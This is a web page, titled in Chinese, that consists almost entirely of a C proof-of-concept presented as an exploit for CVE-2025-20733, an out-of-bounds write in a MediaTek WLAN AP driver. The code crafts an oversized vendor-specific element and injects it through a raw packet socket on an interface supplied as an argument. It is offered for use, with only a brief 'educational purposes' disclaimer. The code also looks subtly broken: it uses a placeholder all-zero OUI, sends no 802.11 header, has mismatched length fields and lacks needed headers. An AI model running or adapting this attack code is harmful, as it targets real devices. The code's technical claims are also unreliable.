CVE-2025-20733 MediaTek WLAN AP驱动越界写入权限提升漏洞

/* CVE-2025-20733 PoC - MediaTek WLAN AP Driver OOB Write * This PoC demonstrates the boundary check bypass in MediaTek WLAN driver * Note: This is for educational/research purposes only * * Prerequisites: * - Local access to affected MediaTek device * - Low-privilege user account * - Ability to send crafted WLAN frames */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <linux/if_ether.h> #include <netinet/in.h> // MediaTek Vendor Specific IE for triggering the vulnerability #define MEDIATEK_VENDOR_IE 0xDD #define MEDIATEK_OUI {0x00, 0x00, 0x00} // Malicious payload structure that triggers OOB write struct mt7615_malicious_frame { unsigned char ie_type; // Vendor specific IE unsigned char ie_len; // Length field unsigned char oui[3]; // OUI unsigned char subtype; // Subtype for driver code path unsigned char flags; // Control flags unsigned short payload_len; // Payload length unsigned char payload[256]; // Malicious payload } __attribute__((packed)); void craft_exploit_frame(unsigned char *buffer, int size) { struct mt7615_malicious_frame *frame = (struct mt7615_malicious_frame *)buffer; // Craft malicious vendor-specific IE frame->ie_type = MEDIATEK_VENDOR_IE; frame->ie_len = 0xFF; // Exceed expected boundary frame->oui[0] = 0x00; frame->oui[1] = 0x00; frame->oui[2] = 0x00; frame->subtype = 0x01; // Trigger vulnerable code path frame->flags = 0x00; frame->payload_len = 512; // Large payload to trigger OOB // Fill payload with controlled data memset(frame->payload, 0x41, 256); } int send_malicious_wlan_frame(const char *interface) { int sock; struct sockaddr_ll sa; // Create raw socket for WLAN frame injection sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sock < 0) { perror("Socket creation failed"); return -1; } unsigned char frame[1024]; memset(frame, 0, sizeof(frame)); // Craft malicious frame craft_exploit_frame(frame, sizeof(frame)); // Configure socket address memset(&sa, 0, sizeof(sa)); sa.sll_ifindex = if_nametoindex(interface); sa.sll_family = AF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); // Send malicious frame to trigger vulnerability if (sendto(sock, frame, sizeof(frame), 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("Send failed"); close(sock); return -1; } printf("[+] Malicious frame sent to trigger CVE-2025-20733\n"); close(sock); return 0; } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <interface>\n", argv[0]); fprintf(stderr, "Example: %s wlan0\n", argv[0]); return 1; } printf("[*] CVE-2025-20733 MediaTek WLAN Driver OOB Write Exploit\n"); printf("[*] Target: MediaTek WLAN AP Driver\n"); printf("[*] Interface: %s\n", argv[1]); send_malicious_wlan_frame(argv[1]); return 0; }